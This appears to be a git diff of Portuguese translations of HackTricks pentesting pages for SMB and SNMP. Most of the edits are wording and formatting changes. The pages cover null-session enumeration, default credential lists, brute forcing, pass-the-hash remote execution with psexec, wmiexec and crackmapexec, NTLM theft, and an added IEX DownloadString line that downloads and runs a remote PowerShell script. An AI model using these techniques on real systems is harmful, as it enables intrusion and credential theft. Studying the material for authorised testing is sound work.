-Essa funcionalidade é crítica para administradores de rede e profissionais de segurança avaliarem a postura de segurança dos serviços SMB (Server Message Block) em uma rede. O `enum4linux` fornece uma visão abrangente do ambiente SMB do sistema alvo, o que é essencial para identificar vulnerabilidades potenciais e garantir que os serviços SMB estejam devidamente protegidos.
+Essa funcionalidade é crítica para administradores de rede e profissionais de segurança avaliarem a postura de segurança dos serviços SMB (Server Message Block) em uma rede. O `enum4linux` fornece uma visão abrangente do ambiente SMB do sistema alvo, que é essencial para identificar vulnerabilidades potenciais e garantir que os serviços SMB estejam devidamente seguros.
 ```bash
 enum4linux -a target_ip
 ```
@@ -56,7 +56,7 @@ nbtscan -r 192.168.0.1/24
 
 Para procurar possíveis exploits para a versão do SMB, é importante saber qual versão está sendo usada. Se essa informação não aparecer em outras ferramentas utilizadas, você pode:
 
-- Usar o módulo auxiliar **MSF** \_**auxiliary/scanner/smb/smb_version**
+- Usar o módulo auxiliar **MSF** _**auxiliary/scanner/smb/smb_version**_
 - Ou este script:
 ```bash
 #!/bin/sh
@@ -82,14 +82,14 @@ searchsploit microsoft smb
 ### **Credenciais** Possíveis
 
 | **Nome(s) de usuário** | **Senhas comuns**                        |
-| ---------------------- | ---------------------------------------- |
-| _(em branco)_          | _(em branco)_                            |
-| convidado              | _(em branco)_                            |
+| ---------------------- | ----------------------------------------- |
+| _(em branco)_          | _(em branco)_                             |
+| convidado              | _(em branco)_                             |
 | Administrador, admin   | _(em branco)_, senha, administrador, admin |
-| arcserve               | arcserve, backup                         |
-| tivoli, tmersrvd       | tivoli, tmersrvd, admin                  |
-| backupexec, backup     | backupexec, backup, arcada               |
-| teste, lab, demo       | senha, teste, lab, demo                  |
+| arcserve               | arcserve, backup                          |
+| tivoli, tmersrvd       | tivoli, tmersrvd, admin                   |
+| backupexec, backup     | backupexec, backup, arcada                |
+| teste, lab, demo       | senha, teste, lab, demo                   |
 
 ### Força Bruta
 
@@ -121,7 +121,7 @@ rpcclient -U "username%passwd" <IP> #With creds
 ```
 ### Enumerar Usuários, Grupos e Usuários Conectados
 
-Essas informações já devem ter sido coletadas do enum4linux e enum4linux-ng.
+Essas informações já devem estar sendo coletadas a partir do enum4linux e enum4linux-ng.
 ```bash
 crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
 crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
@@ -169,7 +169,7 @@ pentesting-smb/rpcclient-enumeration.md
 
 ### Listar pastas compartilhadas
 
-É sempre recomendado verificar se você pode acessar algo; se você não tiver credenciais, tente usar **null** **credentials/guest user**.
+É sempre recomendável verificar se você pode acessar algo; se você não tiver credenciais, tente usar **null** **credentials/guest user**.
 ```bash
 smbclient --no-pass -L //<IP> # Null user
 smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@@ -197,7 +197,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
 ```
 ### **Enumerar manualmente compartilhamentos do Windows e conectar-se a eles**
 
-Pode ser possível que você esteja restrito a exibir quaisquer compartilhamentos da máquina host e, quando tenta listá-los, parece que não há compartilhamentos para os quais se conectar. Assim, pode valer a pena tentar se conectar manualmente a um compartilhamento. Para enumerar os compartilhamentos manualmente, você pode querer procurar respostas como NT_STATUS_ACCESS_DENIED e NT_STATUS_BAD_NETWORK_NAME, ao usar uma sessão válida (por exemplo, sessão nula ou credenciais válidas). Isso pode indicar se o compartilhamento existe e você não tem acesso a ele ou se o compartilhamento não existe.
+Pode ser possível que você esteja restrito a exibir quaisquer compartilhamentos da máquina host e, quando tenta listá-los, parece que não há compartilhamentos para se conectar. Assim, pode valer a pena tentar se conectar manualmente a um compartilhamento. Para enumerar os compartilhamentos manualmente, você pode querer procurar por respostas como NT_STATUS_ACCESS_DENIED e NT_STATUS_BAD_NETWORK_NAME, ao usar uma sessão válida (por exemplo, sessão nula ou credenciais válidas). Isso pode indicar se o compartilhamento existe e você não tem acesso a ele ou se o compartilhamento não existe.
 
 Nomes comuns de compartilhamento para alvos Windows são
 
@@ -242,7 +242,7 @@ smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED o
 ### **Enumerar compartilhamentos do Windows / sem ferramentas de terceiros**
 
 PowerShell
-```powershell
+```bash
 # Retrieves the SMB shares on the locale computer.
 Get-SmbShare
 Get-WmiObject -Class Win32_Share
@@ -265,7 +265,7 @@ fsmgmt.msc
 # Computer Management: Computer Management > System Tools > Shared Folders > Shares
 compmgmt.msc
 ```
-explorer.exe (gráfico), digite `\\<ip>\` para ver os compartilhamentos disponíveis não ocultos.
+explorer.exe (gráfico), digite `\\<ip>\` para ver os compartilhamentos disponíveis que não estão ocultos.
 
 ### Montar uma pasta compartilhada
 ```bash
@@ -293,14 +293,14 @@ Comandos:
 
 - mask: especifica a máscara que é usada para filtrar os arquivos dentro do diretório (por exemplo, "" para todos os arquivos)
 - recurse: ativa a recursão (padrão: desligado)
-- prompt: desativa a solicitação de nomes de arquivos (padrão: ligado)
+- prompt: desativa o aviso para nomes de arquivos (padrão: ligado)
 - mget: copia todos os arquivos que correspondem à máscara do host para a máquina cliente
 
 (_Informação da página de manual do smbclient_)
 
 ### Pesquisa de Pastas Compartilhadas do Domínio
 
-- [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
+- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
 ```bash
 Snaffler.exe -s -d domain.local -o snaffler.log -v data
 ```
@@ -312,6 +312,10 @@ sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'De
 ```
 Especialmente interessantes nas compartilhamentos são os arquivos chamados **`Registry.xml`** pois **podem conter senhas** para usuários configurados com **autologon** via Política de Grupo. Ou arquivos **`web.config`** pois contêm credenciais.
 
+- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares)
+- `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")`
+- `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test`
+
 > [!NOTE]
 > O **compartilhamento SYSVOL** é **legível** por todos os usuários autenticados no domínio. Nele você pode **encontrar** muitos scripts diferentes em batch, VBScript e PowerShell.\
 > Você deve **verificar** os **scripts** dentro dele, pois pode **encontrar** informações sensíveis, como **senhas**.
@@ -326,20 +330,20 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
 ```
 ## Pós Exploração
 
-A **configuração padrão do** servidor **Samba** geralmente está localizada em `/etc/samba/smb.conf` e pode ter algumas **configurações perigosas**:
+A **configuração padrão de** um **servidor Samba** geralmente está localizada em `/etc/samba/smb.conf` e pode ter algumas **configurações perigosas**:
 
 | **Configuração**           | **Descrição**                                                      |
 | -------------------------- | ------------------------------------------------------------------ |
-| `browseable = yes`        | Permitir listar os compartilhamentos disponíveis no compartilhamento atual? |
+| `browseable = yes`        | Permitir listar compartilhamentos disponíveis no compartilhamento atual? |
 | `read only = no`          | Proibir a criação e modificação de arquivos?                      |
 | `writable = yes`          | Permitir que os usuários criem e modifiquem arquivos?             |
-| `guest ok = yes`          | Permitir conectar-se ao serviço sem usar uma senha?               |
-| `enable privileges = yes`  | Honrar privilégios atribuídos a SID específicos?                  |
+| `guest ok = yes`          | Permitir conectar-se ao serviço sem usar uma senha?              |
+| `enable privileges = yes`  | Honrar privilégios atribuídos a SID específicos?                 |
 | `create mask = 0777`      | Quais permissões devem ser atribuídas aos arquivos recém-criados?  |
 | `directory mask = 0777`   | Quais permissões devem ser atribuídas aos diretórios recém-criados? |
 | `logon script = script.sh`| Qual script precisa ser executado no login do usuário?            |
-| `magic script = script.sh`| Qual script deve ser executado quando o script for fechado?       |
-| `magic output = script.out`| Onde a saída do script mágico deve ser armazenada?                |
+| `magic script = script.sh`| Qual script deve ser executado quando o script for fechado?      |
+| `magic output = script.out`| Onde a saída do script mágico deve ser armazenada?               |
 
 O comando `smbstatus` fornece informações sobre o **servidor** e sobre **quem está conectado**.
 
@@ -354,7 +358,7 @@ rpcclient -k ws01win10.domain.com
 
 ### **crackmapexec**
 
-crackmapexec pode executar comandos **abusando** de qualquer um dos **mmcexec, smbexec, atexec, wmiexec**, sendo **wmiexec** o método **padrão**. Você pode indicar qual opção prefere usar com o parâmetro `--exec-method`:
+crackmapexec pode executar comandos **abusando** de qualquer um de **mmcexec, smbexec, atexec, wmiexec**, sendo **wmiexec** o método **padrão**. Você pode indicar qual opção prefere usar com o parâmetro `--exec-method`:
 ```bash
 apt-get install crackmapexec
 
@@ -378,7 +382,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
 ```
 ### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
 
-Ambas as opções **criarão um novo serviço** (usando _\pipe\svcctl_ via SMB) na máquina da vítima e o usarão para **executar algo** (**psexec** irá **carregar** um arquivo executável para o compartilhamento ADMIN$ e **smbexec** apontará para **cmd.exe/powershell.exe** e colocará nos argumentos o payload --**técnica sem arquivo-**-).\
+Ambas as opções **criarão um novo serviço** (usando _\pipe\svcctl_ via SMB) na máquina da vítima e o usarão para **executar algo** (**psexec** irá **fazer upload** de um arquivo executável para o compartilhamento ADMIN$ e **smbexec** apontará para **cmd.exe/powershell.exe** e colocará nos argumentos o payload --**técnica sem arquivo-**-).\
 **Mais informações** sobre [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)e [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
 No **kali** está localizado em /usr/share/doc/python3-impacket/examples/
 ```bash
@@ -388,19 +392,19 @@ No **kali** está localizado em /usr/share/doc/python3-impacket/examples/
 psexec \\192.168.122.66 -u Administrator -p 123456Ww
 psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
 ```
-Usando **o parâmetro** `-k`, você pode se autenticar contra **kerberos** em vez de **NTLM**.
+Usando **parameter**`-k` você pode autenticar contra **kerberos** em vez de **NTLM**
 
 ### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
 
-Execute furtivamente um shell de comando sem tocar no disco ou executar um novo serviço usando DCOM via **porta 135.**\
-No **kali**, está localizado em /usr/share/doc/python3-impacket/examples/
+Execute stealthily um shell de comando sem tocar no disco ou executar um novo serviço usando DCOM via **port 135.**\
+No **kali** está localizado em /usr/share/doc/python3-impacket/examples/
 ```bash
 #If no password is provided, it will be prompted
 ./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
 ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
 #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
 ```
-Usando **parameter**`-k` você pode autenticar contra **kerberos** em vez de **NTLM**
+Usando **parameter** `-k` você pode se autenticar contra **kerberos** em vez de **NTLM**.
 ```bash
 #If no password is provided, it will be prompted
 ./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@@ -410,7 +414,7 @@ Usando **parameter**`-k` você pode autenticar contra **kerberos** em vez de **N
 ### [AtExec](../windows-hardening/ntlm/atexec.md)
 
 Execute comandos via o Agendador de Tarefas (usando _\pipe\atsvc_ via SMB).\
-No **kali**, está localizado em /usr/share/doc/python3-impacket/examples/
+Em **kali** está localizado em /usr/share/doc/python3-impacket/examples/
 ```bash
 ./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
 ./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
@@ -452,7 +456,7 @@ Que são usadas por alguns navegadores e ferramentas (como Skype)
 
 ## Roubo de NTLM
 
-Semelhante ao SMB Trapping, plantar arquivos maliciosos em um sistema alvo (via SMB, por exemplo) pode provocar uma tentativa de autenticação SMB, permitindo que o hash NetNTLMv2 seja interceptado com uma ferramenta como Responder. O hash pode então ser quebrado offline ou usado em um [ataque de retransmissão SMB](pentesting-smb.md#smb-relay-attack).
+Semelhante ao SMB Trapping, plantar arquivos maliciosos em um sistema alvo (via SMB, por exemplo) pode provocar uma tentativa de autenticação SMB, permitindo que o hash NetNTLMv2 seja interceptado com uma ferramenta como o Responder. O hash pode então ser quebrado offline ou usado em um [ataque de retransmissão SMB](pentesting-smb.md#smb-relay-attack).
 
 [Veja: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
 

src/network-services-pentesting/pentesting-smb/README.md

@@ -4,7 +4,7 @@
 
 ## **Porta 139**
 
-O _**Sistema Básico de Entrada e Saída de Rede**_\*\* (NetBIOS)\*\* é um protocolo de software projetado para permitir que aplicativos, PCs e Desktops dentro de uma rede local (LAN) interajam com hardware de rede e **facilitem a transmissão de dados pela rede**. A identificação e localização de aplicativos de software que operam em uma rede NetBIOS são alcançadas por meio de seus nomes NetBIOS, que podem ter até 16 caracteres de comprimento e muitas vezes são distintos do nome do computador. Uma sessão NetBIOS entre dois aplicativos é iniciada quando um aplicativo (atuando como cliente) emite um comando para "chamar" outro aplicativo (atuando como servidor) utilizando **TCP Porta 139**.
+O _**Sistema Básico de Entrada e Saída de Rede**_** (NetBIOS)** é um protocolo de software projetado para permitir que aplicativos, PCs e Desktops dentro de uma rede local (LAN) interajam com hardware de rede e **facilitem a transmissão de dados pela rede**. A identificação e localização de aplicativos de software que operam em uma rede NetBIOS são realizadas por meio de seus nomes NetBIOS, que podem ter até 16 caracteres de comprimento e muitas vezes são distintos do nome do computador. Uma sessão NetBIOS entre dois aplicativos é iniciada quando um aplicativo (atuando como cliente) emite um comando para "chamar" outro aplicativo (atuando como servidor) utilizando **TCP Porta 139**.
 ```
 139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
 ```
@@ -24,7 +24,7 @@ Compartilhamentos, representando **partes arbitrárias do sistema de arquivos lo
 
 ### IPC$ Share
 
-O acesso ao compartilhamento IPC$ pode ser obtido através de uma sessão nula anônima, permitindo a interação com serviços expostos via pipes nomeados. A utilidade `enum4linux` é útil para esse propósito. Utilizada corretamente, ela permite a aquisição de:
+O acesso ao compartilhamento IPC$ pode ser obtido através de uma sessão anônima nula, permitindo a interação com serviços expostos via pipes nomeados. A utilidade `enum4linux` é útil para esse propósito. Utilizada corretamente, ela permite a aquisição de:
 
 - Informações sobre o sistema operacional
 - Detalhes sobre o domínio pai
@@ -32,7 +32,7 @@ O acesso ao compartilhamento IPC$ pode ser obtido através de uma sessão nula a
 - Informações sobre os compartilhamentos SMB disponíveis
 - A política de segurança do sistema efetiva
 
-Essa funcionalidade é crítica para administradores de rede e profissionais de segurança avaliarem a postura de segurança dos serviços SMB (Server Message Block) em uma rede. O `enum4linux` fornece uma visão abrangente do ambiente SMB do sistema alvo, que é essencial para identificar vulnerabilidades potenciais e garantir que os serviços SMB estejam devidamente seguros.
+Essa funcionalidade é crítica para administradores de rede e profissionais de segurança avaliarem a postura de segurança dos serviços SMB (Server Message Block) em uma rede. `enum4linux` fornece uma visão abrangente do ambiente SMB do sistema alvo, o que é essencial para identificar vulnerabilidades potenciais e garantir que os serviços SMB estejam devidamente seguros.
 ```bash
 enum4linux -a target_ip
 ```
@@ -56,7 +56,7 @@ nbtscan -r 192.168.0.1/24
 
 Para procurar possíveis exploits para a versão do SMB, é importante saber qual versão está sendo usada. Se essa informação não aparecer em outras ferramentas utilizadas, você pode:
 
-- Usar o módulo auxiliar **MSF** \_**auxiliary/scanner/smb/smb_version**
+- Usar o módulo auxiliar **MSF** `**auxiliary/scanner/smb/smb_version**`
 - Ou este script:
 ```bash
 #!/bin/sh
@@ -81,15 +81,15 @@ searchsploit microsoft smb
 ```
 ### **Credenciais** Possíveis
 
-| **Nome(s) de usuário** | **Senhas comuns**                       |
-| ---------------------- | --------------------------------------- |
-| _(em branco)_          | _(em branco)_                           |
-| convidado              | _(em branco)_                           |
-| Administrador, admin   | _(em branco)_, senha, administrador, admin |
-| arcserve               | arcserve, backup                        |
-| tivoli, tmersrvd       | tivoli, tmersrvd, admin                 |
-| backupexec, backup     | backupexec, backup, arcada              |
-| teste, lab, demo       | senha, teste, lab, demo                 |
+| **Nome(s) de usuário** | **Senhas comuns**                        |
+| ---------------------- | ---------------------------------------- |
+| _(em branco)_          | _(em branco)_                            |
+| guest                  | _(em branco)_                            |
+| Administrator, admin   | _(em branco)_, senha, administrador, admin |
+| arcserve               | arcserve, backup                         |
+| tivoli, tmersrvd       | tivoli, tmersrvd, admin                  |
+| backupexec, backup     | backupexec, backup, arcada               |
+| test, lab, demo        | senha, test, lab, demo                   |
 
 ### Força Bruta
 
@@ -121,7 +121,7 @@ rpcclient -U "username%passwd" <IP> #With creds
 ```
 ### Enumerar Usuários, Grupos e Usuários Conectados
 
-Essas informações já devem ter sido coletadas do enum4linux e enum4linux-ng.
+Essas informações já devem estar sendo coletadas a partir do enum4linux e enum4linux-ng.
 ```bash
 crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
 crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
@@ -169,7 +169,7 @@ rpcclient-enumeration.md
 
 ### Listar pastas compartilhadas
 
-É sempre recomendável verificar se você pode acessar algo; se você não tiver credenciais, tente usar **null** **credentials/guest user**.
+É sempre recomendado verificar se você pode acessar algo; se você não tiver credenciais, tente usar **null** **credentials/guest user**.
 ```bash
 smbclient --no-pass -L //<IP> # Null user
 smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@@ -210,7 +210,7 @@ Nomes comuns de compartilhamento para alvos Windows são
 - SYSVOL
 - NETLOGON
 
-(Nomes comuns de compartilhamento do _**Network Security Assessment 3rd edition**_)
+(Nomes comuns de compartilhamento da _**Network Security Assessment 3rd edition**_)
 
 Você pode tentar se conectar a eles usando o seguinte comando
 ```bash
@@ -242,7 +242,7 @@ smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED o
 ### **Enumerar compartilhamentos do Windows / sem ferramentas de terceiros**
 
 PowerShell
-```powershell
+```bash
 # Retrieves the SMB shares on the locale computer.
 Get-SmbShare
 Get-WmiObject -Class Win32_Share
@@ -300,7 +300,7 @@ Comandos:
 
 ### Pesquisa de Pastas Compartilhadas do Domínio
 
-- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
+- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
 ```bash
 Snaffler.exe -s -d domain.local -o snaffler.log -v data
 ```
@@ -310,7 +310,7 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
 ```bash
 sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
 ```
-Especialmente interessantes nas compartilhamentos são os arquivos chamados **`Registry.xml`** pois **podem conter senhas** para usuários configurados com **autologon** via Política de Grupo. Ou arquivos **`web.config`** pois contêm credenciais.
+Especialmente interessantes nos compartilhamentos são os arquivos chamados **`Registry.xml`** pois **podem conter senhas** para usuários configurados com **autologon** via Política de Grupo. Ou arquivos **`web.config`** pois contêm credenciais.
 
 > [!NOTE]
 > O **compartilhamento SYSVOL** é **legível** por todos os usuários autenticados no domínio. Nele você pode **encontrar** muitos scripts diferentes em batch, VBScript e PowerShell.\
@@ -328,18 +328,18 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
 
 A **configuração padrão de** um **servidor Samba** geralmente está localizada em `/etc/samba/smb.conf` e pode ter algumas **configurações perigosas**:
 
-| **Configuração**           | **Descrição**                                                      |
-| -------------------------- | ------------------------------------------------------------------ |
+| **Configuração**           | **Descrição**                                                     |
+| -------------------------- | ----------------------------------------------------------------- |
 | `browseable = yes`        | Permitir listar compartilhamentos disponíveis no compartilhamento atual? |
-| `read only = no`          | Proibir a criação e modificação de arquivos?                      |
-| `writable = yes`          | Permitir que os usuários criem e modifiquem arquivos?             |
-| `guest ok = yes`          | Permitir conectar-se ao serviço sem usar uma senha?               |
-| `enable privileges = yes`  | Honrar privilégios atribuídos a SID específicos?                  |
-| `create mask = 0777`      | Quais permissões devem ser atribuídas aos arquivos recém-criados?  |
+| `read only = no`          | Proibir a criação e modificação de arquivos?                     |
+| `writable = yes`          | Permitir que os usuários criem e modifiquem arquivos?            |
+| `guest ok = yes`          | Permitir conectar-se ao serviço sem usar uma senha?              |
+| `enable privileges = yes`  | Honrar privilégios atribuídos a SID específicos?                 |
+| `create mask = 0777`      | Quais permissões devem ser atribuídas aos arquivos recém-criados? |
 | `directory mask = 0777`   | Quais permissões devem ser atribuídas aos diretórios recém-criados? |
-| `logon script = script.sh`| Qual script precisa ser executado no login do usuário?            |
-| `magic script = script.sh`| Qual script deve ser executado quando o script for fechado?       |
-| `magic output = script.out`| Onde a saída do script mágico deve ser armazenada?                |
+| `logon script = script.sh`| Qual script precisa ser executado no login do usuário?           |
+| `magic script = script.sh`| Qual script deve ser executado quando o script for fechado?     |
+| `magic output = script.out`| Onde a saída do script mágico deve ser armazenada?              |
 
 O comando `smbstatus` fornece informações sobre o **servidor** e sobre **quem está conectado**.
 
@@ -378,9 +378,9 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
 ```
 ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
 
-Ambas as opções **criarão um novo serviço** (usando _\pipe\svcctl_ via SMB) na máquina da vítima e o usarão para **executar algo** (**psexec** irá **fazer upload** de um arquivo executável para o compartilhamento ADMIN$ e **smbexec** apontará para **cmd.exe/powershell.exe** e colocará nos argumentos o payload --**técnica sem arquivo-**-).\
+Ambas as opções **criarão um novo serviço** (usando _\pipe\svcctl_ via SMB) na máquina da vítima e o usarão para **executar algo** (**psexec** **fará o upload** de um arquivo executável para o compartilhamento ADMIN$ e **smbexec** apontará para **cmd.exe/powershell.exe** e colocará nos argumentos o payload --**técnica sem arquivo-**-).\
 **Mais informações** sobre [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)e [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
-Em **kali** está localizado em /usr/share/doc/python3-impacket/examples/
+No **kali**, está localizado em /usr/share/doc/python3-impacket/examples/
 ```bash
 #If no password is provided, it will be prompted
 ./psexec.py [[domain/]username[:password]@]<targetName or address>
@@ -393,14 +393,14 @@ Usando **parameter**`-k` você pode autenticar contra **kerberos** em vez de **N
 ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
 
 Execute stealthily um shell de comando sem tocar no disco ou executar um novo serviço usando DCOM via **port 135.**\
-Em **kali** está localizado em /usr/share/doc/python3-impacket/examples/
+No **kali** está localizado em /usr/share/doc/python3-impacket/examples/
 ```bash
 #If no password is provided, it will be prompted
 ./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
 ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
 #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
 ```
-Usando **parameter**`-k` você pode autenticar contra **kerberos** em vez de **NTLM**
+Usando **parameter**`-k` você pode se autenticar contra **kerberos** em vez de **NTLM**
 ```bash
 #If no password is provided, it will be prompted
 ./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@@ -410,7 +410,7 @@ Usando **parameter**`-k` você pode autenticar contra **kerberos** em vez de **N
 ### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
 
 Execute comandos via o Agendador de Tarefas (usando _\pipe\atsvc_ via SMB).\
-No **kali** está localizado em /usr/share/doc/python3-impacket/examples/
+Em **kali** está localizado em /usr/share/doc/python3-impacket/examples/
 ```bash
 ./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
 ./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"

src/network-services-pentesting/pentesting-snmp/README.md

@@ -2,7 +2,6 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-
 ## Informações Básicas
 
 **SNMP - Protocolo Simples de Gerenciamento de Rede** é um protocolo usado para monitorar diferentes dispositivos na rede (como roteadores, switches, impressoras, IoTs...).
@@ -15,7 +14,7 @@ PORT    STATE SERVICE REASON                 VERSION
 
 ### MIB
 
-Para garantir que o acesso SNMP funcione entre fabricantes e com diferentes combinações cliente-servidor, a **Management Information Base (MIB)** foi criada. MIB é um **formato independente para armazenar informações de dispositivos**. Um MIB é um arquivo **texto** no qual todos os **objetos SNMP** consultáveis de um dispositivo estão listados em uma hierarquia de árvore **padronizada**. Ele contém pelo menos um `Object Identifier` (`OID`), que, além do **endereço único** necessário e um **nome**, também fornece informações sobre o tipo, direitos de acesso e uma descrição do respectivo objeto.\
+Para garantir que o acesso SNMP funcione entre fabricantes e com diferentes combinações cliente-servidor, a **Management Information Base (MIB)** foi criada. MIB é um **formato independente para armazenar informações de dispositivos**. Um MIB é um arquivo **texto** no qual todos os **objetos SNMP** consultáveis de um dispositivo estão listados em uma hierarquia de árvore **padronizada**. Ele contém pelo menos um **`Object Identifier` (`OID`)**, que, além do necessário **endereço único** e um **nome**, também fornece informações sobre o tipo, direitos de acesso e uma descrição do respectivo objeto.\
 Os arquivos MIB são escritos no formato de texto ASCII baseado em `Abstract Syntax Notation One` (`ASN.1`). As **MIBs não contêm dados**, mas explicam **onde encontrar quais informações** e como elas se parecem, quais valores retornam para o OID específico ou qual tipo de dado é utilizado.
 
 ### OIDs
@@ -41,8 +40,8 @@ Aqui está uma análise deste endereço.
 
 - 1 – isso é chamado de ISO e estabelece que este é um OID. É por isso que todos os OIDs começam com “1”
 - 3 – isso é chamado de ORG e é usado para especificar a organização que construiu o dispositivo.
-- 6 – isso é o dod ou o Departamento de Defesa, que é a organização que estabeleceu a Internet primeiro.
-- 1 – este é o valor da internet para denotar que todas as comunicações ocorrerão através da Internet.
+- 6 – este é o dod ou o Departamento de Defesa, que é a organização que estabeleceu a Internet primeiro.
+- 1 – este é o valor da internet para denotar que todas as comunicações acontecerão através da Internet.
 - 4 – este valor determina que este dispositivo é feito por uma organização privada e não por uma governamental.
 - 1 – este valor denota que o dispositivo é feito por uma empresa ou entidade comercial.
 
@@ -68,21 +67,21 @@ Os demais valores fornecem informações específicas sobre o dispositivo.
 
 Existem 2 versões importantes do SNMP:
 
-- **SNMPv1**: Principal, ainda é a mais frequente, a **autenticação é baseada em uma string** (community string) que viaja em **texto simples** (todas as informações viajam em texto simples). **Versão 2 e 2c** também enviam o **tráfego em texto simples** e usam uma **community string como autenticação**.
-- **SNMPv3**: Usa uma forma de **autenticação** melhor e as informações viajam **criptografadas** (um **ataque de dicionário** poderia ser realizado, mas seria muito mais difícil encontrar as credenciais corretas do que no SNMPv1 e v2).
+- **SNMPv1**: Principal, ainda é a mais frequente, a **autenticação é baseada em uma string** (string da comunidade) que viaja em **texto simples** (todas as informações viajam em texto simples). **Versão 2 e 2c** também enviam o **tráfego em texto simples** e usam uma **string da comunidade como autenticação**.
+- **SNMPv3**: Usa uma forma melhor de **autenticação** e as informações viajam **criptografadas** (um **ataque de dicionário** poderia ser realizado, mas seria muito mais difícil encontrar as credenciais corretas do que no SNMPv1 e v2).
 
-### Community Strings
+### Strings da Comunidade
 
-Como mencionado anteriormente, **para acessar as informações salvas no MIB você precisa conhecer a community string nas versões 1 e 2/2c e as credenciais na versão 3.**\
-Existem **2 tipos de community strings**:
+Como mencionado anteriormente, **para acessar as informações salvas no MIB você precisa conhecer a string da comunidade nas versões 1 e 2/2c e as credenciais na versão 3.**\
+Existem **2 tipos de strings da comunidade**:
 
 - **`public`** principalmente funções **somente leitura**
 - **`private`** **Leitura/Gravação** em geral
 
-Note que **a capacidade de gravação de um OID depende da community string utilizada**, então **mesmo** que você descubra que "**public**" está sendo usado, você pode ser capaz de **gravar alguns valores.** Além disso, pode **existir** objetos que são **sempre "Somente Leitura".**\
-Se você tentar **gravar** um objeto, um erro **`noSuchName` ou `readOnly`** é recebido\*\*.\*\*
+Note que **a capacidade de gravação de um OID depende da string da comunidade utilizada**, então **mesmo** que você descubra que "**public**" está sendo usado, você pode ser capaz de **gravar alguns valores.** Além disso, pode **existir** objetos que são **sempre "Somente Leitura".**\
+Se você tentar **gravar** um objeto, um erro **`noSuchName` ou `readOnly` é recebido**.
 
-Nas versões 1 e 2/2c, se você usar uma **bad** community string, o servidor não irá **responder**. Portanto, se ele responder, uma **community string válida foi usada**.
+Nas versões 1 e 2/2c, se você usar uma string da comunidade **inválida**, o servidor não **responderá**. Portanto, se ele responder, uma **string da comunidade válida foi usada**.
 
 ## Portas
 
@@ -92,9 +91,9 @@ Nas versões 1 e 2/2c, se você usar uma **bad** community string, o servidor n
 - O gerente recebe notificações ([Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) e [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) na porta **162**.
 - Quando usado com [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) ou [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security), as solicitações são recebidas na porta **10161** e as notificações são enviadas para a porta **10162**.
 
-## Brute-Force Community String (v1 e v2c)
+## Força Bruta da String da Comunidade (v1 e v2c)
 
-Para **adivinhar a community string** você poderia realizar um ataque de dicionário. Confira [aqui diferentes maneiras de realizar um ataque de força bruta contra SNMP](../../generic-hacking/brute-force.md#snmp). Uma community string frequentemente usada é `public`.
